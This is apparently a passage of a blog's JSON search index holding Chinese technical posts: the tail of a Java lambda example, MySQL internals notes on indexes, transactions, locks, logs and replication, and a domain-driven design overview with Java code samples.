\u003c/span\u003eString\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003es2\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e        \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003es1\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ecompareTo\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003es2\u003cspan style=\"color:#1f2328\"\u003e);\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e    \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#1f2328\"\u003e});\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#57606a\"\u003e// ✅ Lambda 写法\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCollections\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003esort\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003elist\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003es1\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003es2\u003cspan style=\"color:#1f2328\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003es1\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ecompareTo\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003es2\u003cspan style=\"color:#1f2328\"\u003e));\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#57606a\"\u003e// ✅ 方法引用\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCollections\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003esort\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003elist\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003eString\u003cspan style=\"color:#1f2328\"\u003e::\u003c/span\u003ecompareTo\u003cspan style=\"color:#1f2328\"\u003e);\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cp\u003e\u003cstrong\u003eLambda 语法：\u003c/strong\u003e\u003c/p\u003e","title":"Java New Features"},{"content":"MySQL 技术要点 一、MySQL 架构 MySQL 采用分层架构设计，主要分为 Server 层 和 存储引擎层。\n1.1 Server 层 组件 职责 连接器 管理客户端连接、身份认证、权限校验 分析器 词法分析（识别关键字、表名、列名）、语法分析（构建语法树） 优化器 生成执行计划、选择最优索引、决定 JOIN 顺序 执行器 调用存储引擎 API 执行查询，返回结果集 1.2 存储引擎层 MySQL 支持插件式存储引擎，常用引擎对比：\n引擎 事务支持 锁粒度 适用场景 InnoDB ✓ 行锁 OLTP、高并发读写 MyISAM ✗ 表锁 只读或读多写少 Memory ✗ 表锁 临时表、缓存 InnoDB architecture\n二、索引机制 2.1 索引数据结构 类型 特点 适用场景 B+ Tree 有序、支持范围查询、树高稳定 主键索引、普通索引 Hash O(1) 查找、不支持范围查询 等值查询（Memory 引擎） Full-Text 倒排索引、支持自然语言搜索 全文检索 2.2 索引分类 按物理存储：\n聚簇索引（Clustered Index）：叶子节点存储完整行数据，InnoDB 主键索引即聚簇索引 二级索引（Secondary Index）：叶子节点存储主键值，查询需回表 按字段特性：\n主键索引：唯一且非空，一张表只能有一个 唯一索引：字段值唯一，允许 NULL 普通索引：无唯一性约束 前缀索引：对字符串前 N 个字符建立索引，节省空间 按字段数量：\n单列索引：单个字段 联合索引：多个字段组合，遵循最左前缀原则 2.3 普通索引 vs 唯一索引 普通索引可利用 Change Buffer 优化写入，数据不在内存时直接写入 Change Buffer 唯一索引必须读取数据页判断唯一性，无法使用 Change Buffer 写入 Change buffer, 避免加载冷数据（按页加载，即使修改一个数据，也至少加载16kb）挤出热点数据，造成Buffer Pool Pollution 2.4 优化器选错索引的处理 SQL-- 重新统计索引信息 ANALYZE TABLE t; -- 强制使用指定索引 SELECT * FROM t FORCE INDEX(idx_name) WHERE name = \u0026#39;test\u0026#39;; 三、事务 3.1 ACID 特性 特性 含义 实现机制 Atomicity（原子性） 事务要么全部成功，要么全部回滚 Undo Log Consistency（一致性） 事务前后数据库状态一致 由其他三个特性共同保证 Isolation（隔离性） 并发事务互不干扰 MVCC + 锁 Durability（持久性） 已提交事务永久生效 Redo Log 3.2 隔离级别 隔离级别 脏读 不可重复读 幻读 Read Uncommitted ✓ ✓ ✓ Read Committed ✗ ✓ ✓ Repeatable Read（默认） ✗ ✗ ✓* Serializable ✗ ✗ ✗ *InnoDB 在 RR 级别下通过 Next-Key Lock 解决了大部分幻读问题。\n3.3 MVCC（多版本并发控制） MVCC 通过为每行数据维护多个版本，实现非阻塞的一致性读：\n隐藏列：DB_TRX_ID、DB_ROLL_PTR、DB_ROW_ID Read View：记录活跃事务列表，决定数据可见性（RC 级别每次读取时创建，RR 级别仅首次读取时创建） 版本链：通过 Undo Log 构建历史版本链表 3.4 当前读与快照读 SQL-- 快照读：读取 MVCC 快照版本 SELECT * FROM t WHERE id = 1; -- 当前读：读取最新版本并加锁 SELECT * FROM t WHERE id = 1 FOR UPDATE; -- 排他锁 SELECT * FROM t WHERE id = 1 LOCK IN SHARE MODE; -- 共享锁 四、锁机制 4.1 锁分类 TEXT锁 ├── 全局锁 │ └── FTWRL (Flush Tables With Read Lock) ├── 表级锁 │ ├── 表锁 (LOCK TABLES) │ ├── 元数据锁 (MDL) │ └── 意向锁 (IS/IX) └── 行级锁 (InnoDB) ├── 记录锁 (Record Lock) ├── 间隙锁 (Gap Lock) └── 临键锁 (Next-Key Lock) 4.2 行锁加锁规则 InnoDB 行锁的加锁规则：\n加锁基本单位是 Next-Key Lock（前开后闭区间） 只对访问到的对象加锁 唯一索引等值查询命中时，Next-Key Lock 退化为行锁 等值查询向右遍历到不满足条件的记录时，Next-Key Lock 退化为间隙锁 (5,10,15) select * from t where id\u0026gt;=10 and id\u0026lt;11 for update; mysql 8.0.18及之后，修复了会锁住id=15的问题，加锁为[10,15)，之前为[10,15]。\n4.3 幻读与间隙锁 幻读定义：同一事务中，后一次查询看到了前一次查询没看到的行（专指新插入的行，不包括更新和删除）。\n解决方案：间隙锁 + 行锁 = Next-Key Lock\n例如，对表 t（主键值为 0, 5, 10, 15, 20, 25）执行 SELECT * FROM t FOR UPDATE，会形成以下 Next-Key Lock：\n(-∞, 0], (0, 5], (5, 10], (10, 15], (15, 20], (20, 25], (25, +supremum] 注意：LOCK IN SHARE MODE 仅锁覆盖索引，而 FOR UPDATE 会同时锁定主键索引上满足条件的行。\n五、日志系统 5.1 日志类型 日志 作用 所属层 Redo Log 保证持久性，崩溃恢复 InnoDB 引擎层 Undo Log 保证原子性，支持 MVCC InnoDB 引擎层 Binlog 主从复制、数据备份 Server 层 Relay Log 从库接收主库 Binlog 的中继日志 Server 层 5.2 Binlog 格式 格式 特点 Statement 记录 SQL 语句，日志量小，但可能导致主从不一致 Row 记录行变更，日志量大，主从一致性好 Mixed 自动选择，默认 Statement，特殊情况用 Row InnoDB crash 的本质是：内存中的脏页没刷盘，Binlog不记录物理级别的数据页修改进度，一条sql语句涉及多个数据页(数据，索引，页分裂)修改，crash恢复时不知道哪些数据页更新了，所以不支持 crash recovery。\nRedo Log 具有LSN（Log Sequence Number），一个全局递增的日志位置编号，用来标记“日志写到了哪里”。\n5.3 两阶段提交 为保证 Redo Log 和 Binlog 数据一致性，采用两阶段提交：\nPrepare 阶段：Redo Log 写入并标记为 prepare 状态 Commit 阶段：Binlog 写入 → Redo Log 标记为 commit 组提交优化：多个事务的日志合并写入，减少磁盘 I/O。\n5.4 Doublewrite InnoDB 使用 Doublewrite Buffer 解决部分页写入（Partial Page Write）问题：\n先将脏页写入 Doublewrite Buffer（顺序写） 再将脏页写入数据文件（随机写） 崩溃恢复时，若数据页损坏，可从 Doublewrite Buffer 恢复 redolog：一个sql语句修改多个数据页，redolog 记录哪些数据页修改了，哪些没修改。\ndoublewrote：一个数据页对应四个 linux 页，doublewrite 保证一个数据页不会出现部分写入。\n六、主从复制 6.1 复制流程 TEXT主库：事务提交 → 写 Binlog ↓ 从库 I/O 线程：读取主库 Binlog → 写入 Relay Log ↓ 从库 SQL 线程：重放 Relay Log → 更新数据 6.2 主备延迟原因 从库机器性能较差 从库承担过多查询压力 大事务执行时间长(delete大量数据,大表DDL(gh-ost解决)) 网络延迟 6.3 处理过期读 方案 实现复杂度 一致性 强制走主库 低 强 Sleep 延迟 低 弱 判断主备无延迟 中 较强 Semi-Sync 半同步 中 强 等主库位点 高 强 等 GTID 高 强 七、查询执行分析 7.1 执行计划分析（EXPLAIN） Explain extra 字段解释\nUsing index: 使用了覆盖索引，避免回表查询\nUsing filesort: order by 后面的字段没有索引，分为全字段排序和 rowid 排序\nUsing index condition: 使用了索引下推（index conditionpushdown）,利用二级索引提前过滤，减少回表次数。\nSQL(age,city) select * from tb where age\u0026gt;5 and city=\u0026#34;aaa\u0026#34; and name = \u0026#34;abc\u0026#34;; -- age可以用到索引,city用到索引下推，回表之前就过滤到部分数据。 Using join buffer: Block Nested Loop，Batched-key access(BKA)\nUsing MRR: 用到 Multi-Range Read 优化，批量回表查询，以id递增顺序回表以实现顺序读。\nSQL(a) select * from tb where a\u0026gt;5 and a\u0026lt;10; -- 根据索引a得到一些结果，根据id排序，按id递增的方式回表查询 Using temporary: union 或 group by\n7.2 慢查询诊断 SQL-- 查看当前执行的 SQL 状态 SHOW PROCESSLIST; -- 查看行锁等待（MySQL 8.0+） SELECT * FROM sys.innodb_lock_waits; 查询长时间不返回的原因：\n等待 MDL（Metadata Lock） 等待 Flush 等待行锁 查询慢的原因：\n快照读需遍历长版本链 扫描行数过多 索引选择不当 客户端接收慢（MySQL 边读边发，导致 net_buffer 阻塞） 7.3 JOIN 算法 算法 条件 特点 Index Nested-Loop Join 被驱动表连接字段有索引 性能好，复杂度 O(NlogM) Block Nested-Loop Join 无索引，使用 Join Buffer 大表BNL导致热数据淘汰 Hash Join MySQL 8.0.18+ 无索引时自动使用 替代 BNL，性能更好 MRR：将随机 I/O 转为顺序 I/O，先读取索引排序后再回表 BKA：用到 join buffer，NLJ-\u0026gt;BKA（在被驱动表建立索引，如果不适合建立索引，就使用临时表，在临时表上建立索引），基于 MRR，批量将驱动表数据传递给被驱动表查询 7.4 ORDER BY 优化 最优情况：利用索引有序性，EXPLAIN 不出现 Using filesort。\nfilesort 算法（无索引时）：\n算法 特点 全字段排序 所有字段放入 Sort Buffer，排序后直接返回 Rowid 排序 仅排序字段+主键，排序后回表，适用于宽表 MySQL 根据 max_length_for_sort_data 自动选择：行宽超过该值时使用 Rowid 排序。\n7.5 外部排序 当 Sort Buffer 不足时，MySQL 使用外部排序：\n归并排序：分批排序写入临时文件，最后多路归并 优先队列：ORDER BY ... LIMIT N 场景，维护 N 个元素的堆，避免全量排序 7.6 内存数据结构与临时表选择 如果语句执行过程可以一边读数据，一边直接得到结果，不需要额外内存来保存中间结果；\njoin_buffer 是无序数组，sort_buffer 是有序数组，临时表是二维表结构\n如果执行逻辑需要用到二维表特性，就会优先考虑使用临时表。\n八、Buffer Pool 与刷脏页 8.1 性能抖动原因 Redo Log 写满，触发 Checkpoint 刷脏页 Buffer Pool 满，淘汰脏页需先刷盘 后台线程定期刷脏页 8.2 Buffer Pool LRU 优化 InnoDB 采用改进的 LRU 算法（Young 区:Old 区 = 5:3）防止缓存污染：\n新数据先放入 Old 区域 在 Old 区域停留超过 innodb_old_blocks_time 后再次访问，才移入 Young 区域 防止全表扫描等操作将热点数据挤出缓存 九、常见问题与解决方案 9.1 删除数据不释放空间 SQL-- DELETE 仅标记删除，空间不会立即释放 DELETE FROM t WHERE create_time \u0026lt; \u0026#39;2024-01-01\u0026#39;; -- 重建表释放空间 ALTER TABLE t ENGINE = InnoDB; 9.2 COUNT 性能 性能从低到高：count(字段) \u0026lt; count(id) \u0026lt; count(1) ≈ count(*)\ncount(*) 经过优化器特殊优化，推荐使用。\n9.3 临时表 触发场景：UNION 去重、GROUP BY 无索引、复杂子查询。\n9.4 分区表 分区表在引擎层分区，对业务透明。优势：ALTER TABLE t DROP PARTITION p_2023 比 DELETE 更快。\n适用场景：按时间分区的日志表、历史数据表。\n9.5 数据迁移 方式 特点 物理拷贝 速度快，仅限同引擎、同版本 mysqldump 通用，不支持复杂 WHERE SELECT INTO OUTFILE 支持所有 SQL，仅导出单表 参考资料：MySQL 实战 45 讲、《高性能 MySQL》、从一条慢SQL说起：交易订单表如何做索引优化\n","permalink":"https://buvidk1234.github.io/posts/mysql-technical-blog/","summary":"\u003ch1 id=\"mysql-技术要点\"\u003eMySQL 技术要点\u003c/h1\u003e\n\u003ch2 id=\"一mysql-架构\"\u003e一、MySQL 架构\u003c/h2\u003e\n\u003cp\u003eMySQL 采用分层架构设计，主要分为 \u003cstrong\u003eServer 层\u003c/strong\u003e 和 \u003cstrong\u003e存储引擎层\u003c/strong\u003e。\u003c/p\u003e\n\u003ch3 id=\"11-server-层\"\u003e1.1 Server 层\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e组件\u003c/th\u003e\n          \u003cth\u003e职责\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e连接器\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e管理客户端连接、身份认证、权限校验\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e分析器\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e词法分析（识别关键字、表名、列名）、语法分析（构建语法树）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e优化器\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e生成执行计划、选择最优索引、决定 JOIN 顺序\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e执行器\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e调用存储引擎 API 执行查询，返回结果集\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"12-存储引擎层\"\u003e1.2 存储引擎层\u003c/h3\u003e\n\u003cp\u003eMySQL 支持插件式存储引擎，常用引擎对比：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e引擎\u003c/th\u003e\n          \u003cth\u003e事务支持\u003c/th\u003e\n          \u003cth\u003e锁粒度\u003c/th\u003e\n          \u003cth\u003e适用场景\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eInnoDB\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003e行锁\u003c/td\u003e\n          \u003ctd\u003eOLTP、高并发读写\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eMyISAM\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e表锁\u003c/td\u003e\n          \u003ctd\u003e只读或读多写少\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eMemory\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e表锁\u003c/td\u003e\n          \u003ctd\u003e临时表、缓存\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003eInnoDB architecture\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Innodb-architecture\" loading=\"lazy\" src=\"/images/innodb-architecture-8-0.png\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"二索引机制\"\u003e二、索引机制\u003c/h2\u003e\n\u003ch3 id=\"21-索引数据结构\"\u003e2.1 索引数据结构\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e类型\u003c/th\u003e\n          \u003cth\u003e特点\u003c/th\u003e\n          \u003cth\u003e适用场景\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eB+ Tree\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e有序、支持范围查询、树高稳定\u003c/td\u003e\n          \u003ctd\u003e主键索引、普通索引\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eHash\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eO(1) 查找、不支持范围查询\u003c/td\u003e\n          \u003ctd\u003e等值查询（Memory 引擎）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eFull-Text\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e倒排索引、支持自然语言搜索\u003c/td\u003e\n          \u003ctd\u003e全文检索\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"22-索引分类\"\u003e2.2 索引分类\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e按物理存储：\u003c/strong\u003e\u003c/p\u003e","title":"Mysql Technical Blog"},{"content":"领域驱动设计(DDD) 领域驱动设计（Domain-Driven Design, DDD）是一种以领域模型为核心的软件开发方法论，旨在应对复杂业务系统的设计与演进。DDD 分为战略设计和战术设计两个层面：战略设计关注系统整体的边界划分与团队协作模式，战术设计则聚焦于领域模型的具体实现模式。\n1. 战略设计 战略设计的目标是从整体上划分系统的限界上下文（Bounded Context），并在每个上下文中发展出清晰一致的通用语言（Ubiquitous Language）。\n1.1 领域与子域 领域（Domain）：系统所关注的问题范围，代表业务活动和规则的集合。 子域（Subdomain）：领域的组成部分，将复杂业务划分为更小、更聚焦的单元。 子域通常分为三类：\n类型 说明 核心域（Core Domain） 业务的核心竞争力所在，需要重点投入 支撑域（Supporting Subdomain） 支撑核心业务运作，但非核心竞争力 通用域（Generic Subdomain） 通用功能，可采用现成方案 领域分析发生在问题空间（Problem Space），而领域模型的设计与实现属于解决方案空间（Solution Space）：\n问题空间：识别业务目标和边界，关注\u0026quot;做什么\u0026quot;。 解决方案空间：将需求转化为可实现的设计和模型，关注\u0026quot;怎么做\u0026quot;。 1.2 限界上下文（Bounded Context） 限界上下文是领域模型的语义边界。在该边界内，所有的概念、对象和规则都有明确且一致的含义。\n同一个术语在不同上下文中可能代表不同含义，而在同一上下文中则保持语义一致。\n例如，\u0026ldquo;账户\u0026quot;在用户上下文中可能指用户登录凭证，而在财务上下文中则指资金账户。限界上下文的划分有助于避免模型的混淆和污染。\n1.3 通用语言（Ubiquitous Language） 通用语言是限界上下文内部领域专家与开发人员共享的统一语言。它通过领域模型来表达业务规则、行为和约束。\n每个限界上下文都有自己独立的通用语言 通用语言不能跨上下文混用 代码、文档、沟通都应使用通用语言 1.4 上下文映射（Context Mapping） 当不同的限界上下文需要交互时，必须通过上下文映射来完成语言的\u0026quot;翻译\u0026quot;和语义对齐。上下文映射定义了上下文之间的关系、通信模式以及模型转换方式。\n常见的上下文映射模式包括：\n模式 说明 合作关系（Partnership） 两个团队共同协调开发，相互依赖 共享内核（Shared Kernel） 共享部分模型代码，需谨慎管理 客户-供应商（Customer-Supplier） 上游供应、下游消费，下游可提需求 遵奉者（Conformist） 下游完全遵从上游模型 防腐层（ACL） 下游建立转换层隔离上游模型 开放主机服务（OHS） 上游提供标准化协议供多方使用 发布语言（Published Language） 使用标准化的数据交换格式 1.5 防腐层（Anti-Corruption Layer） 下游上下文在使用上游上下文的数据或服务时，应建立一个防腐层（ACL）。防腐层负责：\n隔离下游模型与上游模型 通过转换适配，防止外部模型污染内部语义 使下游上下文保持独立演进的能力 2. 战术设计 战术设计提供了一系列构建领域模型的模式，用于在限界上下文内部实现业务逻辑。\n2.1 聚合（Aggregate）与聚合根（Aggregate Root） 聚合：一组相关对象的集合，作为数据修改的单元，由聚合根统一管理。 聚合根：聚合的唯一入口点，负责保护内部业务规则的一致性。 设计原则：\n设计小聚合，避免过大的聚合边界 聚合内部保持强一致性 跨聚合通过标识符引用，而非对象引用 聚合边界之外使用最终一致性 JAVA// 聚合根 public class User { private Long id; private String username; private UserProfile profile; // 值对象 private UserCredential credential; // 实体 private UserSetting setting; // 值对象 // 业务行为由聚合根协调 public void changePassword(String newPassword) { credential.changePassword(newPassword); } public void deactivate() { credential.deactivate(); } } 2.2 实体（Entity）与值对象（Value Object） 实体：具有唯一标识，生命周期内标识不变，状态可变。 值对象：无唯一标识，不可变，通过属性值判断相等性，用于描述或量化实体的属性。 JAVA// 实体：有标识，可变 public class UserCredential { private String email; private String phone; private String passwordHash; private boolean active; public void changePassword(String newPassword) { this.passwordHash = hash(newPassword); } public void deactivate() { this.active = false; } private String hash(String password) { // 哈希逻辑省略 return password; } } // 值对象：无标识，不可变（Java 17+ record） public record UserProfile(String nickname, String avatarUrl, String gender) { public UserProfile { if (nickname == null || nickname.isBlank()) { throw new IllegalArgumentException(\u0026#34;昵称不能为空\u0026#34;); } } } public record UserSetting(boolean notificationsEnabled, String language) { public UserSetting { if (language == null || language.isBlank()) { throw new IllegalArgumentException(\u0026#34;语言不能为空\u0026#34;); } } } 2.3 领域服务（Domain Service） 当业务逻辑跨越多个实体或聚合，不适合放在单个实体中时，由领域服务承担。领域服务是无状态的，专注于领域逻辑的实现。\nJAVApublic class GroupDomainService { private final GroupMemberRepository groupMemberRepository; public GroupDomainService(GroupMemberRepository groupMemberRepository) { this.groupMemberRepository = groupMemberRepository; } public GroupMember addMemberToGroup(ChatGroup group, User operator, User userToAdd) { // 业务规则校验 if (!operator.isActive()) { throw new IllegalArgumentException(\u0026#34;操作者账号不可用\u0026#34;); } if (!userToAdd.isActive()) { throw new IllegalArgumentException(\u0026#34;被添加用户账号不可用\u0026#34;); } if (!group.isOperator(operator.getId())) { throw new IllegalArgumentException(\u0026#34;操作者没有权限\u0026#34;); } if (operator.getId().equals(userToAdd.getId())) { throw new IllegalArgumentException(\u0026#34;不能添加自己到群组\u0026#34;); } if (groupMemberRepository.exists(group.getId(), userToAdd.getId())) { throw new IllegalArgumentException(\u0026#34;成员已存在群组中\u0026#34;); } return GroupMember.builder() .groupId(group.getId()) .userId(userToAdd.getId()) .role(GroupMember.Role.MEMBER.getValue()) .build(); } } 2.4 应用服务（Application Service） 应用服务是领域模型的客户端，负责：\n协调领域对象完成用例 管理事务边界 处理安全认证、日志等横切关注点 不承担核心业务规则 JAVA@Service public class GroupApplicationService { private final GroupRepository groupRepository; private final GroupMemberRepository groupMemberRepository; private final GroupDomainService groupDomainService; private final UserApplicationService userApplicationService; private final EventPublisher eventPublisher; @Transactional public void addMember(AddMemberCmd cmd) { // 1. 获取聚合 ChatGroup chatGroup = groupRepository.getById(cmd.getGroupId()) .orElseThrow(() -\u0026gt; new IllegalArgumentException(\u0026#34;Group not found\u0026#34;)); // 2. 跨上下文校验（通过应用服务） userApplicationService.validateUserExists(cmd.getOperatorId()); userApplicationService.validateUserExists(cmd.getMemberId()); // 3. 调用领域服务处理业务逻辑 GroupMember groupMember = groupDomainService.addMemberToGroup( chatGroup, cmd.getOperatorId(), cmd.getMemberId() ); // 4. 持久化 groupMemberRepository.save(groupMember); // 5. 发布领域事件 eventPublisher.publish(new UserJoinedGroupEvent( chatGroup.getId(), cmd.getMemberId(), cmd.getOperatorId(), LocalDateTime.now())); } } 2.5 领域事件（Domain Event） 领域事件表示领域中发生的有意义的业务事件，基于发布-订阅模式实现模块间解耦。\n特点：\n事件名称使用过去时态（如 UserJoinedGroupEvent） 事件是不可变的 包含事件发生时的相关数据 JAVA// 定义领域事件 public class UserJoinedGroupEvent extends ApplicationEvent { private final Long groupId; private final Long userId; private final Long operatorId; private final LocalDateTime occurredAt; public UserJoinedGroupEvent(Long groupId, Long userId, Long operatorId, LocalDateTime occurredAt) { super(groupId); this.groupId = groupId; this.userId = userId; this.operatorId = operatorId; this.occurredAt = occurredAt; } // getters... } // 事件监听器 @Component public class GroupEventListener { @EventListener public void handleUserJoined(UserJoinedGroupEvent event) { // 发送通知、记录日志、更新统计等 log.info(\u0026#34;用户 {} 加入群组 {}\u0026#34;, event.getUserId(), event.getGroupId()); } } 2.6 工厂（Factory） 工厂用于封装复杂对象的创建逻辑，确保创建出的对象满足业务规则。\n聚合根工厂方法：用于创建聚合，封装创建时的业务校验 领域服务工厂：在上下文集成时，将外部模型转换为本地模型 JAVApublic class User { private Long id; private String username; private final UserProfile profile; private final UserCredential credential; private final UserSetting setting; // 私有构造函数 private User(String username, UserProfile profile, UserCredential credential, UserSetting setting) { this.username = username; this.profile = profile; this.credential = credential; this.setting = setting; } // 工厂方法：封装创建逻辑与业务校验 public static User create(String username, UserProfile profile, UserCredential credential, UserSetting setting) { // 聚合级别的业务校验 if (username == null || username.isBlank()) { throw new IllegalArgumentException(\u0026#34;用户名不能为空\u0026#34;); } return new User(username, profile, credential, setting); } } 2.7 资源库（Repository） 资源库是聚合的持久化抽象，提供面向集合的接口来存取聚合。\n与 DAO 的区别：\n资源库（Repository） DAO 面向聚合和业务模型 面向数据表和实体 隐藏持久化细节 暴露数据访问操作 一次操作整个聚合 操作单个表或实体 JAVA// 资源库接口（领域层） public interface UserRepository { void save(User user); Optional\u0026lt;User\u0026gt; findById(Long id); void delete(User user); } // 资源库实现（基础设施层） @Repository public class UserRepositoryImpl implements UserRepository { private final UserMapper userMapper; private final UserProfileMapper profileMapper; private final UserCredentialMapper credentialMapper; private final UserSettingMapper settingMapper; @Transactional @Override public void save(User user) { if (user.getId() == null) { // 新增 userMapper.insert(UserAssembler.toPO(user)); Long userId = user.getId(); profileMapper.insert(UserAssembler.toPO(user.getProfile(), userId)); credentialMapper.insert(UserAssembler.toPO(user.getCredential(), userId)); settingMapper.insert(UserAssembler.toPO(user.getSetting(), userId)); } else { // 更新 userMapper.update(UserAssembler.toPO(user)); Long userId = user.getId(); profileMapper.update(UserAssembler.toPO(user.getProfile(), userId)); credentialMapper.update(UserAssembler.toPO(user.getCredential(), userId)); settingMapper.update(UserAssembler.toPO(user.getSetting(), userId)); } } @Override public Optional\u0026lt;User\u0026gt; findById(Long id) { UserPO userPO = userMapper.selectById(id); if (userPO == null) { return Optional.empty(); } UserProfilePO profilePO = profileMapper.selectByUserId(id); UserCredentialPO credentialPO = credentialMapper.selectByUserId(id); UserSettingPO settingPO = settingMapper.selectByUserId(id); return Optional.of(UserAssembler.toAggregate(userPO, profilePO, credentialPO, settingPO)); } } 总结 层面 关注点 核心概念 战略设计 系统边界与团队协作 限界上下文、通用语言、上下文映射、防腐层 战术设计 领域模型实现 聚合、实体、值对象、领域服务、领域事件、资源库 DDD 的价值在于让技术实现与业务语义保持一致，通过清晰的边界划分和统一的语言降低系统复杂度，使软件能够持续演进以适应业务变化。\n参考资料 Vaughn Vernon. \u0026ldquo;Implementing Domain-Driven Design\u0026rdquo;（《实现领域驱动设计》） Vaughn Vernon. 